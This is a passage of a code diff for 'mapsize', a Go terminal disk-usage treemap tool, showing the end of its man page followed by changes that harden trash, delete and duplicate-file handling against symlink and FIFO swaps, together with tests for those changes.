newest large files, directories with most entries, sparse files, hard-linked
|
||||||
|
files. \(<- and \(-> switch lists; Enter shows details; Space jumps to the item
|
||||||
|
in the map.
|
||||||
|
.TP
|
||||||
|
.B e
|
||||||
|
Scan information and the error list.
|
||||||
|
.TP
|
||||||
|
.B D
|
||||||
|
Find duplicate files (asks first).
|
||||||
|
.SS Actions
|
||||||
|
.TP 18
|
||||||
|
.B /
|
||||||
|
Search or filter (see \fBFILTER LANGUAGE\fR). Enter keeps the filter, Esc
|
||||||
|
clears it.
|
||||||
|
.TP
|
||||||
|
.B a
|
||||||
|
Toggle allocated / logical size.
|
||||||
|
.TP
|
||||||
|
.B c
|
||||||
|
Copy the selected path to the clipboard (OSC 52; terminal support varies).
|
||||||
|
.TP
|
||||||
|
.B o
|
||||||
|
Reveal the selected item in the desktop file manager. On a headless system
|
||||||
|
(no \fBDISPLAY\fR or \fBWAYLAND_DISPLAY\fR), show the folder in the map
|
||||||
|
instead.
|
||||||
|
.TP
|
||||||
|
.BR d ", " Delete
|
||||||
|
Move the selected item to the trash after confirmation. On a headless
|
||||||
|
Linux or BSD system, where nothing would empty the trash, delete it
|
||||||
|
permanently instead after a confirmation that says so. Disabled with
|
||||||
|
\fB\-\-read\-only\fR, for snapshots, and while scanning.
|
||||||
|
.TP
|
||||||
|
.B s
|
||||||
|
Save a snapshot.
|
||||||
|
.TP
|
||||||
|
.B r
|
||||||
|
Rescan, returning to the same directory when it is found again.
|
||||||
|
.TP
|
||||||
|
.B T
|
||||||
|
Cycle colour themes.
|
||||||
|
.TP
|
||||||
|
.BR ? ", " F1
|
||||||
|
Help.
|
||||||
|
.TP
|
||||||
|
.B Ctrl+C
|
||||||
|
Cancel a running scan; press again to quit.
|
||||||
|
.TP
|
||||||
|
.B q
|
||||||
|
Quit (in a window: close it).
|
||||||
|
.SS Mouse
|
||||||
|
Click selects a rectangle or row; double-click zooms into a directory or
|
||||||
|
shows file details; right-click shows details; the wheel zooms the map or
|
||||||
|
scrolls lists and windows. Clicking a breadcrumb or tab activates it.
|
||||||
|
Clicking outside a window closes it.
|
||||||
|
.SH DISPLAY
|
||||||
|
Directories are drawn with a border, their name on the top edge and their
|
||||||
|
size and share on the bottom edge; large directories show nested previews of
|
||||||
|
their contents. The selected rectangle has a double border and a highlighted
|
||||||
|
title, so it remains visible without colour.
|
||||||
|
.PP
|
||||||
|
A terminal has few cells, so entries too small to draw usefully are merged
|
||||||
|
into one hatched \fI"N smaller items"\fR block. Enter lists them; zooming in
|
||||||
|
or enlarging the terminal reveals them individually.
|
||||||
|
.PP
|
||||||
|
Layouts adapt to the terminal size: a side panel with a category breakdown
|
||||||
|
appears in large terminals, smaller ones get a compact layout, and below
|
||||||
|
40\(mu10 a short message is shown instead. Every resize recomputes the
|
||||||
|
layout for the new size while keeping the selection, zoom and filter.
|
||||||
|
.PP
|
||||||
|
Categories are: Image, Video, Audio, Archive, Disk image, Database, Source
|
||||||
|
code, Document, Executable, Log, Cache and Other. Directories take the colour
|
||||||
|
of the category using most of their space. In compare mode colours show
|
||||||
|
change instead: red grew, green shrank, blue new, grey unchanged.
|
||||||
|
.SH FILTER LANGUAGE
|
||||||
|
A query is one or more conditions combined with
|
||||||
|
.BR AND ,
|
||||||
|
.B OR
|
||||||
|
and
|
||||||
|
.B NOT
|
||||||
|
(also
|
||||||
|
.BR && ", " || ", " ! ),
|
||||||
|
with parentheses for grouping. Conditions written side by side are joined
|
||||||
|
with AND. Keywords and string comparisons are case-insensitive.
|
||||||
|
.PP
|
||||||
|
A bare word matches names containing it; a word with \fB*\fR, \fB?\fR or
|
||||||
|
\fB[\fR is a glob on the name. Otherwise a condition is
|
||||||
|
\fIfield operator value\fR:
|
||||||
|
.TP 12
|
||||||
|
.B Fields
|
||||||
|
.BR name ", " path ", " ext ", " type " (file, dir, symlink, other), " category ,
|
||||||
|
.BR size ", " allocated ", " age ", " modified ", " owner ", " group ,
|
||||||
|
.BR files " (entries beneath a directory), " flag
|
||||||
|
(sparse, hardlink, error, mount, incomplete, followed, broken).
|
||||||
|
.TP
|
||||||
|
.B Operators
|
||||||
|
.BR = ", " != ", " > ", " >= ", " < ", " <= ", " contains ", " matches
|
||||||
|
(regular expression; also \fB~\fR) and
|
||||||
|
.B in
|
||||||
|
with a parenthesised list: \fBext IN (iso,qcow2)\fR.
|
||||||
|
.TP
|
||||||
|
.B Sizes
|
||||||
|
.BR kB ", " MB ", " GB ", " TB
|
||||||
|
are SI (1000);
|
||||||
|
.BR KiB ", " MiB ", " GiB ", " TiB
|
||||||
|
are IEC (1024); bare
|
||||||
|
.BR K ", " M ", " G ", " T
|
||||||
|
follow the display units.
|
||||||
|
.TP
|
||||||
|
.B Ages
|
||||||
|
.BR s ", " min ", " h ", " d " (default), " w ", " mo " (30 days), " y
|
||||||
|
(365 days).
|
||||||
|
.B modified
|
||||||
|
also accepts dates such as 2024\-01\-31.
|
||||||
|
.PP
|
||||||
|
A matching directory contributes its whole contents. Examples:
|
||||||
|
.PP
|
||||||
|
.RS
|
||||||
|
.nf
|
||||||
|
ubuntu
|
||||||
|
*.iso
|
||||||
|
size > 5GB
|
||||||
|
size > 500MB AND ext IN (iso,qcow2,vmdk)
|
||||||
|
path contains cache AND NOT type = dir
|
||||||
|
age > 365d AND size > 100MiB
|
||||||
|
owner = andy OR flag = sparse
|
||||||
|
.fi
|
||||||
|
.RE
|
||||||
|
.SH SIZES
|
||||||
|
By default sizes are \fIallocated\fR (blocks actually used on disk, like
|
||||||
|
.BR du (1));
|
||||||
|
\fB\-\-apparent\fR or \fBa\fR switches to \fIlogical\fR size. Both appear in
|
||||||
|
the information window. Files whose allocated size is at least 4 KiB smaller
|
||||||
|
than their logical size are flagged sparse (this also covers filesystem
|
||||||
|
compression). On Windows allocated size is not available and logical size is
|
||||||
|
used.
|
||||||
|
.PP
|
||||||
|
Hard links: the first path seen for an inode is counted; later paths add
|
||||||
|
nothing to totals and are marked. Which path counts first depends on scan
|
||||||
|
order. Windows does not report link counts during enumeration, so hard links
|
||||||
|
are not deduplicated there.
|
||||||
|
.PP
|
||||||
|
Totals are marked incomplete whenever something could not be read
|
||||||
|
(permission denied, I/O error, files vanishing during the scan, a cancelled
|
||||||
|
scan). Every error is listed in the Scan view.
|
||||||
|
.SH DUPLICATES
|
||||||
|
Duplicate detection never relies on names or sizes alone. Files are grouped
|
||||||
|
by exact size, then three 16 KiB samples (start, middle, end) are hashed,
|
||||||
|
and remaining candidates are hashed completely with SHA-256. Only files with
|
||||||
|
identical SHA-256 digests are reported as duplicates. Hard links to the same
|
||||||
|
inode are not reported. Files that change size or cannot be read during the
|
||||||
|
search are skipped and counted.
|
||||||
|
.SH SNAPSHOTS
|
||||||
|
A snapshot stores the whole inventory in a versioned, gzip-compressed binary
|
||||||
|
format with a SHA-256 checksum; it reloads far faster than a rescan of a
|
||||||
|
large or slow filesystem. Snapshot files are treated as untrusted: corrupt
|
||||||
|
or malicious files are rejected, sizes are bounded, decompressed size is
|
||||||
|
limited to 64 times the file size, and aggregates are recomputed rather than
|
||||||
|
read. Comparison matches entries by path.
|
||||||
|
.SH FILES
|
||||||
|
.TP
|
||||||
|
.I $XDG_CONFIG_HOME/mapsize/config.json
|
||||||
|
Optional settings (default \fI~/.config/mapsize/config.json\fR on Linux,
|
||||||
|
\fI~/Library/Application Support/mapsize/config.json\fR on macOS,
|
||||||
|
\fI%AppData%\(rsmapsize\(rsconfig.json\fR on Windows). Command-line options
|
||||||
|
override it. Keys:
|
||||||
|
.BR workers ", " follow_symlinks ", " one_file_system ", " units " (iec or si), "
|
||||||
|
.BR size_mode " (allocated or logical), " theme ", " mouse ", " excludes " (list), "
|
||||||
|
.BR category_colors " and " extension_colors " (maps to \(dq#rrggbb\(dq), " refresh_hz .
|
||||||
|
.PP
|
||||||
|
.RS
|
||||||
|
.nf
|
||||||
|
{
|
||||||
|
"workers": "balanced",
|
||||||
|
"theme": "dark",
|
||||||
|
"excludes": ["/proc", "*.tmp"],
|
||||||
|
"extension_colors": {"qcow2": "#c678dd"}
|
||||||
|
}
|
||||||
|
.fi
|
||||||
|
.RE
|
||||||
|
.TP
|
||||||
|
.I ~/.local/share/Trash
|
||||||
|
Where \fBd\fR moves items on Linux (freedesktop.org trash; items on other
|
||||||
|
filesystems go to \fI.Trash\-UID\fR at that filesystem's top). macOS uses
|
||||||
|
\fI~/.Trash\fR; Windows uses the Recycle Bin.
|
||||||
|
.SH ENVIRONMENT
|
||||||
|
.TP
|
||||||
|
.B NO_COLOR
|
||||||
|
If set, use the \fBmono\fR theme (attributes and glyphs only).
|
||||||
|
.TP
|
||||||
|
.BR COLORTERM ", " TERM
|
||||||
|
Used for colour detection. On \fBTERM=linux\fR box drawing falls back to
|
||||||
|
ASCII.
|
||||||
|
.TP
|
||||||
|
.B MAPSIZE_ASCII
|
||||||
|
If set, draw with ASCII characters only.
|
||||||
|
.TP
|
||||||
|
.B MAPSIZE_DEBUG_PANIC
|
||||||
|
Developer aid: \fBui\fR or \fBscanner\fR deliberately crashes to verify that
|
||||||
|
the terminal is restored.
|
||||||
|
.SH EXIT STATUS
|
||||||
|
.TP
|
||||||
|
.B 0
|
||||||
|
Success, including a scan cancelled from the interface.
|
||||||
|
.TP
|
||||||
|
.B 1
|
||||||
|
An error occurred (for example the path does not exist, a snapshot is
|
||||||
|
invalid, or an internal error).
|
||||||
|
.TP
|
||||||
|
.B 2
|
||||||
|
Invalid command-line usage.
|
||||||
|
.SH EXAMPLES
|
||||||
|
.TP
|
||||||
|
.B mapsize /srv
|
||||||
|
Explore /srv interactively.
|
||||||
|
.TP
|
||||||
|
.B mapsize \-x /
|
||||||
|
Explore the root filesystem without crossing into other mounts.
|
||||||
|
.TP
|
||||||
|
.B mapsize \-\-read\-only \-\-color 256 /mnt/evidence
|
||||||
|
Investigate without any modifying actions, forcing 256 colours.
|
||||||
|
.TP
|
||||||
|
.B mapsize /srv \-\-no\-ui \-\-save srv\-$(date +%F).msz
|
||||||
|
Nightly snapshot from cron.
|
||||||
|
.TP
|
||||||
|
.B mapsize \-\-compare srv\-2026\-10\-01.msz srv\-2026\-10\-02.msz
|
||||||
|
See what grew overnight.
|
||||||
|
.TP
|
||||||
|
.B mapsize /home \-\-top 20 \-\-exclude \(aq*.tmp\(aq
|
||||||
|
Print the 20 largest entries under /home.
|
||||||
|
.TP
|
||||||
|
.B mapsize /data \-\-json \-\-depth 2 | jq .tree.children[0]
|
||||||
|
Machine-readable output.
|
||||||
|
.SH SECURITY
|
||||||
|
Filenames are untrusted. Control characters, escape sequences, bidirectional
|
||||||
|
overrides and invalid UTF-8 in names are displayed in escaped form (for
|
||||||
|
example \fB\(rsx1b\fR) and are never sent to the terminal; the real names are
|
||||||
|
kept for file operations. No shell is ever invoked: opening the file manager
|
||||||
|
and moving to the trash use direct program execution or native APIs.
|
||||||
|
.SH BUGS
|
||||||
|
Trash and file-manager integration have been tested on Linux only. Hard-link
|
||||||
|
deduplication, allocated sizes and symlink following are unavailable on
|
||||||
|
Windows. Keybindings are not configurable.
|
||||||
|
.PP
|
||||||
|
Report bugs to the author.
|
||||||
|
.SH AUTHOR
|
||||||
|
Andy Dixon <mapsize@dixon.cx>
|
||||||
|
.br
|
||||||
|
https://dixon.cx
|
||||||
|
.SH SEE ALSO
|
||||||
|
.BR du (1),
|
||||||
|
.BR df (1),
|
||||||
|
.BR ncdu (1),
|
||||||
|
.BR find (1)
|
||||||
@@ -5,5 +5,7 @@ const (
|
|||||||
Name = "mapsize"
|
Name = "mapsize"
|
||||||
SnapshotExt = ".msz"
|
SnapshotExt = ".msz"
|
||||||
SnapshotMagic = "MAPSIZE\x00"
|
SnapshotMagic = "MAPSIZE\x00"
|
||||||
Version = "0.9.0-dev"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
|
// Version is stamped at release time via -ldflags -X.
|
||||||
|
var Version = "1.2.0"
|
||||||
|
|||||||
@@ -18,6 +18,7 @@ import (
|
|||||||
"sync/atomic"
|
"sync/atomic"
|
||||||
|
|
||||||
"github.com/andydixon/mapsize/internal/inventory"
|
"github.com/andydixon/mapsize/internal/inventory"
|
||||||
|
"github.com/andydixon/mapsize/internal/platform"
|
||||||
)
|
)
|
||||||
|
|
||||||
// Group is a set of files verified to have identical content.
|
// Group is a set of files verified to have identical content.
|
||||||
@@ -226,7 +227,7 @@ func (f *Finder) splitHash(ctx context.Context, g []cand, workers int) []fullGro
|
|||||||
|
|
||||||
// open opens a candidate and checks it still has the inventoried size.
|
// open opens a candidate and checks it still has the inventoried size.
|
||||||
func open(c cand) (*os.File, bool) {
|
func open(c cand) (*os.File, bool) {
|
||||||
fh, err := os.Open(c.path)
|
fh, err := platform.OpenContent(c.path)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, false
|
return nil, false
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,51 @@
|
|||||||
|
//go:build unix
|
||||||
|
|
||||||
|
package duplicate
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"syscall"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/andydixon/mapsize/internal/scan"
|
||||||
|
)
|
||||||
|
|
||||||
|
// A candidate replaced by a FIFO (or a symlink to one) after the scan must
|
||||||
|
// be skipped, not block the search forever in open(2).
|
||||||
|
func TestFindSkipsSwappedFIFO(t *testing.T) {
|
||||||
|
root := t.TempDir()
|
||||||
|
for _, n := range []string{"a", "b", "c"} {
|
||||||
|
os.WriteFile(filepath.Join(root, n), []byte("same"), 0o644)
|
||||||
|
}
|
||||||
|
s, err := scan.Start(context.Background(), root, scan.Options{Workers: 1})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
<-s.Done()
|
||||||
|
os.Remove(filepath.Join(root, "b"))
|
||||||
|
if err := syscall.Mkfifo(filepath.Join(root, "b"), 0o644); err != nil {
|
||||||
|
t.Skip("mkfifo:", err)
|
||||||
|
}
|
||||||
|
fifo2 := filepath.Join(t.TempDir(), "p")
|
||||||
|
syscall.Mkfifo(fifo2, 0o644)
|
||||||
|
os.Remove(filepath.Join(root, "c"))
|
||||||
|
os.Symlink(fifo2, filepath.Join(root, "c"))
|
||||||
|
|
||||||
|
done := make(chan error, 1)
|
||||||
|
var f Finder
|
||||||
|
go func() { _, err := f.Find(context.Background(), s.Tree, Options{}); done <- err }()
|
||||||
|
select {
|
||||||
|
case err := <-done:
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
case <-time.After(5 * time.Second):
|
||||||
|
t.Fatal("duplicate search blocked on a FIFO")
|
||||||
|
}
|
||||||
|
if p := f.Progress(); p.Skipped != 2 {
|
||||||
|
t.Fatalf("skipped=%d want 2", p.Skipped)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,35 @@
|
|||||||
|
//go:build unix
|
||||||
|
|
||||||
|
package platform
|
||||||
|
|
||||||
|
import (
|
||||||
|
"errors"
|
||||||
|
"io/fs"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"syscall"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Delete permanently removes path (recursively for a directory) if it still
|
||||||
|
// matches want. The check and the removal both go through an os.Root on the
|
||||||
|
// parent directory, so a symlink swapped in since the scan cannot redirect
|
||||||
|
// the removal outside it.
|
||||||
|
func Delete(path string, want Expect) error {
|
||||||
|
if err := checkAbs(path); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
dir, base := filepath.Dir(path), filepath.Base(path)
|
||||||
|
root, err := os.OpenRoot(dir)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer root.Close()
|
||||||
|
fi, err := root.Lstat(base)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if fi.Sys().(*syscall.Stat_t).Uid != want.UID || fi.Mode()&fs.ModeType != want.Mode&fs.ModeType {
|
||||||
|
return errors.New("item changed since the scan (owner or type differs); rescan first")
|
||||||
|
}
|
||||||
|
return root.RemoveAll(base)
|
||||||
|
}
|
||||||
@@ -0,0 +1,8 @@
|
|||||||
|
//go:build !unix
|
||||||
|
|
||||||
|
package platform
|
||||||
|
|
||||||
|
import "os"
|
||||||
|
|
||||||
|
// OpenContent opens a file whose content is about to be read.
|
||||||
|
func OpenContent(path string) (*os.File, error) { return os.Open(path) }
|
||||||
@@ -0,0 +1,15 @@
|
|||||||
|
//go:build unix
|
||||||
|
|
||||||
|
package platform
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"syscall"
|
||||||
|
)
|
||||||
|
|
||||||
|
// OpenContent opens a file whose content is about to be read. It does not
|
||||||
|
// follow a final symlink, and O_NONBLOCK keeps a FIFO swapped in since the
|
||||||
|
// scan from blocking open(2) forever; callers still check the file type.
|
||||||
|
func OpenContent(path string) (*os.File, error) {
|
||||||
|
return os.OpenFile(path, os.O_RDONLY|syscall.O_NOFOLLOW|syscall.O_NONBLOCK, 0)
|
||||||
|
}
|
||||||
@@ -2,6 +2,7 @@ package platform
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"errors"
|
"errors"
|
||||||
|
"io/fs"
|
||||||
"os"
|
"os"
|
||||||
"os/exec"
|
"os/exec"
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
@@ -19,6 +20,13 @@ func startDetached(name string, args ...string) error {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Expect is what the scan recorded for an item about to be trashed. Trash
|
||||||
|
// refuses an item whose owner or file type no longer matches.
|
||||||
|
type Expect struct {
|
||||||
|
UID uint32
|
||||||
|
Mode fs.FileMode // only the type bits are compared
|
||||||
|
}
|
||||||
|
|
||||||
// checkAbs guards helper invocations: an absolute path can never be parsed
|
// checkAbs guards helper invocations: an absolute path can never be parsed
|
||||||
// as an option by the helper program.
|
// as an option by the helper program.
|
||||||
func checkAbs(path string) error {
|
func checkAbs(path string) error {
|
||||||
|
|||||||
@@ -21,7 +21,7 @@ func Reveal(path string) error {
|
|||||||
|
|
||||||
// Trash moves path into ~/.Trash (same volume) or the volume's
|
// Trash moves path into ~/.Trash (same volume) or the volume's
|
||||||
// .Trashes/<uid> directory. It never copies and never deletes.
|
// .Trashes/<uid> directory. It never copies and never deletes.
|
||||||
func Trash(path string) error {
|
func Trash(path string, want Expect) error {
|
||||||
if err := checkAbs(path); err != nil {
|
if err := checkAbs(path); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
@@ -34,8 +34,13 @@ func Trash(path string) error {
|
|||||||
dirs = append(dirs, filepath.Join(vol, ".Trashes", fmt.Sprint(os.Getuid())))
|
dirs = append(dirs, filepath.Join(vol, ".Trashes", fmt.Sprint(os.Getuid())))
|
||||||
}
|
}
|
||||||
base := filepath.Base(path)
|
base := filepath.Base(path)
|
||||||
for _, dir := range dirs {
|
for vi, dir := range dirs {
|
||||||
if err := os.MkdirAll(dir, 0o700); err != nil {
|
if err := os.MkdirAll(filepath.Dir(dir), 0o700); err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
// A volume trash is on a shared filesystem: another user could plant
|
||||||
|
// a symlink or an open directory there, so insist on a private one.
|
||||||
|
if err := ensurePrivateDir(dir, vi > 0); err != nil {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
for i := 1; i < 10000; i++ {
|
for i := 1; i < 10000; i++ {
|
||||||
@@ -47,7 +52,7 @@ func Trash(path string) error {
|
|||||||
if _, err := os.Lstat(dst); err == nil {
|
if _, err := os.Lstat(dst); err == nil {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
err := os.Rename(path, dst)
|
err := renameChecked(path, dst, want)
|
||||||
if errors.Is(err, syscall.EXDEV) {
|
if errors.Is(err, syscall.EXDEV) {
|
||||||
break // try the next trash location
|
break // try the next trash location
|
||||||
}
|
}
|
||||||
@@ -70,3 +75,7 @@ func volumeOf(path string) string {
|
|||||||
}
|
}
|
||||||
return ""
|
return ""
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Headless is always false: macOS has Finder and the Trash even without
|
||||||
|
// $DISPLAY (which it does not use).
|
||||||
|
func Headless() bool { return false }
|
||||||
|
|||||||
@@ -29,7 +29,7 @@ func Reveal(path string) error {
|
|||||||
// Trash moves path to the freedesktop.org trash: the home trash when on the
|
// Trash moves path to the freedesktop.org trash: the home trash when on the
|
||||||
// same filesystem, otherwise $topdir/.Trash-$uid on the item's filesystem.
|
// same filesystem, otherwise $topdir/.Trash-$uid on the item's filesystem.
|
||||||
// It never copies across filesystems and never deletes.
|
// It never copies across filesystems and never deletes.
|
||||||
func Trash(path string) error {
|
func Trash(path string, want Expect) error {
|
||||||
if err := checkAbs(path); err != nil {
|
if err := checkAbs(path); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
@@ -99,7 +99,7 @@ func Trash(path string) error {
|
|||||||
os.Remove(ip)
|
os.Remove(ip)
|
||||||
return errors.Join(werr, cerr)
|
return errors.Join(werr, cerr)
|
||||||
}
|
}
|
||||||
if err := os.Rename(path, dst); err != nil {
|
if err := renameChecked(path, dst, want); err != nil {
|
||||||
os.Remove(ip)
|
os.Remove(ip)
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
@@ -108,31 +108,6 @@ func Trash(path string) error {
|
|||||||
return errors.New("trash: too many items with the same name")
|
return errors.New("trash: too many items with the same name")
|
||||||
}
|
}
|
||||||
|
|
||||||
// ensurePrivateDir creates dir (mode 0700) if missing; an existing entry must
|
|
||||||
// be a real directory (not a symlink) owned by us. With strict (trash on a
|
|
||||||
// shared filesystem) it must also be inaccessible to others, as the
|
|
||||||
// freedesktop.org spec requires; home trash directories made by desktop
|
|
||||||
// environments are sometimes 0755, which is harmless there.
|
|
||||||
func ensurePrivateDir(dir string, strict bool) error {
|
|
||||||
if err := os.Mkdir(dir, 0o700); err != nil && !errors.Is(err, os.ErrExist) {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
fi, err := os.Lstat(dir)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
st := fi.Sys().(*syscall.Stat_t)
|
|
||||||
switch {
|
|
||||||
case !fi.IsDir():
|
|
||||||
return errors.New("not a directory (symlink?)")
|
|
||||||
case int(st.Uid) != os.Getuid():
|
|
||||||
return errors.New("owned by another user")
|
|
||||||
case strict && fi.Mode().Perm()&0o077 != 0:
|
|
||||||
return errors.New("accessible to other users")
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// mountTop returns the top directory of the filesystem containing path.
|
// mountTop returns the top directory of the filesystem containing path.
|
||||||
func mountTop(path string, dev uint64) string {
|
func mountTop(path string, dev uint64) string {
|
||||||
cur := filepath.Dir(path)
|
cur := filepath.Dir(path)
|
||||||
@@ -148,3 +123,10 @@ func mountTop(path string, dev uint64) string {
|
|||||||
cur = parent
|
cur = parent
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Headless reports whether there is no graphical session (no X or Wayland
|
||||||
|
// display), so there is no file manager to open and no desktop trash anyone
|
||||||
|
// will empty.
|
||||||
|
func Headless() bool {
|
||||||
|
return os.Getenv("DISPLAY") == "" && os.Getenv("WAYLAND_DISPLAY") == ""
|
||||||
|
}
|
||||||
|
|||||||
@@ -16,7 +16,7 @@ func TestTrashFreedesktop(t *testing.T) {
|
|||||||
if err := os.WriteFile(victim, []byte("x"), 0o644); err != nil {
|
if err := os.WriteFile(victim, []byte("x"), 0o644); err != nil {
|
||||||
t.Fatal(err)
|
t.Fatal(err)
|
||||||
}
|
}
|
||||||
if err := Trash(victim); err != nil {
|
if err := Trash(victim, want(t, victim)); err != nil {
|
||||||
t.Fatal(err)
|
t.Fatal(err)
|
||||||
}
|
}
|
||||||
if _, err := os.Lstat(victim); !os.IsNotExist(err) {
|
if _, err := os.Lstat(victim); !os.IsNotExist(err) {
|
||||||
@@ -32,13 +32,13 @@ func TestTrashFreedesktop(t *testing.T) {
|
|||||||
}
|
}
|
||||||
// A second item with the same name gets a distinct trash name.
|
// A second item with the same name gets a distinct trash name.
|
||||||
os.WriteFile(victim, []byte("y"), 0o644)
|
os.WriteFile(victim, []byte("y"), 0o644)
|
||||||
if err := Trash(victim); err != nil {
|
if err := Trash(victim, want(t, victim)); err != nil {
|
||||||
t.Fatal(err)
|
t.Fatal(err)
|
||||||
}
|
}
|
||||||
if _, err := os.Lstat(trashed + ".2"); err != nil {
|
if _, err := os.Lstat(trashed + ".2"); err != nil {
|
||||||
t.Fatal("collision not handled")
|
t.Fatal("collision not handled")
|
||||||
}
|
}
|
||||||
if err := Trash("relative/path"); err == nil {
|
if err := Trash("relative/path", Expect{}); err == nil {
|
||||||
t.Fatal("relative paths must be refused")
|
t.Fatal("relative paths must be refused")
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -62,3 +62,94 @@ func TestEnsurePrivateDirRejectsSymlink(t *testing.T) {
|
|||||||
t.Fatal(err)
|
t.Fatal(err)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func want(t *testing.T, path string) Expect {
|
||||||
|
t.Helper()
|
||||||
|
m, err := Lstat(path)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
return Expect{UID: m.UID, Mode: m.Mode}
|
||||||
|
}
|
||||||
|
|
||||||
|
// A parent swapped for a symlink after the scan must not redirect the move
|
||||||
|
// to whatever the symlink points at.
|
||||||
|
func TestTrashRefusesSwappedItem(t *testing.T) {
|
||||||
|
data := t.TempDir()
|
||||||
|
t.Setenv("XDG_DATA_HOME", data)
|
||||||
|
dir := filepath.Join(data, "work")
|
||||||
|
os.Mkdir(dir, 0o755)
|
||||||
|
victim := filepath.Join(dir, "big.iso")
|
||||||
|
os.WriteFile(victim, []byte("x"), 0o644)
|
||||||
|
scanned := want(t, victim)
|
||||||
|
|
||||||
|
// Item replaced by a symlink to a file elsewhere: type differs.
|
||||||
|
other := filepath.Join(data, "precious")
|
||||||
|
os.WriteFile(other, []byte("keep"), 0o644)
|
||||||
|
os.Remove(victim)
|
||||||
|
os.Symlink(other, victim)
|
||||||
|
scannedDir := Expect{UID: scanned.UID, Mode: os.ModeDir}
|
||||||
|
if err := Trash(victim, scanned); err == nil {
|
||||||
|
t.Fatal("symlink accepted where a regular file was scanned")
|
||||||
|
}
|
||||||
|
if err := Trash(victim, scannedDir); err == nil {
|
||||||
|
t.Fatal("type mismatch accepted")
|
||||||
|
}
|
||||||
|
if _, err := os.Lstat(victim); err != nil {
|
||||||
|
t.Fatal("refused item was moved")
|
||||||
|
}
|
||||||
|
|
||||||
|
// Owner differs from the scan.
|
||||||
|
os.Remove(victim)
|
||||||
|
os.WriteFile(victim, []byte("x"), 0o644)
|
||||||
|
if err := Trash(victim, Expect{UID: scanned.UID + 1, Mode: scanned.Mode}); err == nil {
|
||||||
|
t.Fatal("owner mismatch accepted")
|
||||||
|
}
|
||||||
|
entries, _ := os.ReadDir(filepath.Join(data, "Trash", "info"))
|
||||||
|
if len(entries) != 0 {
|
||||||
|
t.Fatalf("refused trash left %d .trashinfo files", len(entries))
|
||||||
|
}
|
||||||
|
if err := Trash(victim, scanned); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestDeletePermanently(t *testing.T) {
|
||||||
|
base := t.TempDir()
|
||||||
|
dir := filepath.Join(base, "S01")
|
||||||
|
os.MkdirAll(filepath.Join(dir, "extras"), 0o755)
|
||||||
|
os.WriteFile(filepath.Join(dir, "extras", "E01.mkv"), []byte("x"), 0o644)
|
||||||
|
// A symlink inside must be removed, not followed.
|
||||||
|
keep := filepath.Join(base, "keep")
|
||||||
|
os.WriteFile(keep, []byte("k"), 0o644)
|
||||||
|
os.Symlink(keep, filepath.Join(dir, "link"))
|
||||||
|
|
||||||
|
w := want(t, dir)
|
||||||
|
if err := Delete(dir, Expect{UID: w.UID, Mode: 0}); err == nil {
|
||||||
|
t.Fatal("type mismatch accepted")
|
||||||
|
}
|
||||||
|
if err := Delete(dir, w); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if _, err := os.Lstat(dir); !os.IsNotExist(err) {
|
||||||
|
t.Fatal("directory still present")
|
||||||
|
}
|
||||||
|
if _, err := os.Lstat(keep); err != nil {
|
||||||
|
t.Fatal("symlink target was deleted")
|
||||||
|
}
|
||||||
|
if err := Delete("relative/path", Expect{}); err == nil {
|
||||||
|
t.Fatal("relative paths must be refused")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestHeadless(t *testing.T) {
|
||||||
|
t.Setenv("DISPLAY", "")
|
||||||
|
t.Setenv("WAYLAND_DISPLAY", "")
|
||||||
|
if !Headless() {
|
||||||
|
t.Fatal("no display should be headless")
|
||||||
|
}
|
||||||
|
t.Setenv("WAYLAND_DISPLAY", "wayland-0")
|
||||||
|
if Headless() {
|
||||||
|
t.Fatal("wayland session reported headless")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
@@ -2,7 +2,10 @@
|
|||||||
|
|
||||||
package platform
|
package platform
|
||||||
|
|
||||||
import "errors"
|
import (
|
||||||
|
"errors"
|
||||||
|
"os"
|
||||||
|
)
|
||||||
|
|
||||||
// TrashName is the user-facing name of the trash.
|
// TrashName is the user-facing name of the trash.
|
||||||
const TrashName = "trash"
|
const TrashName = "trash"
|
||||||
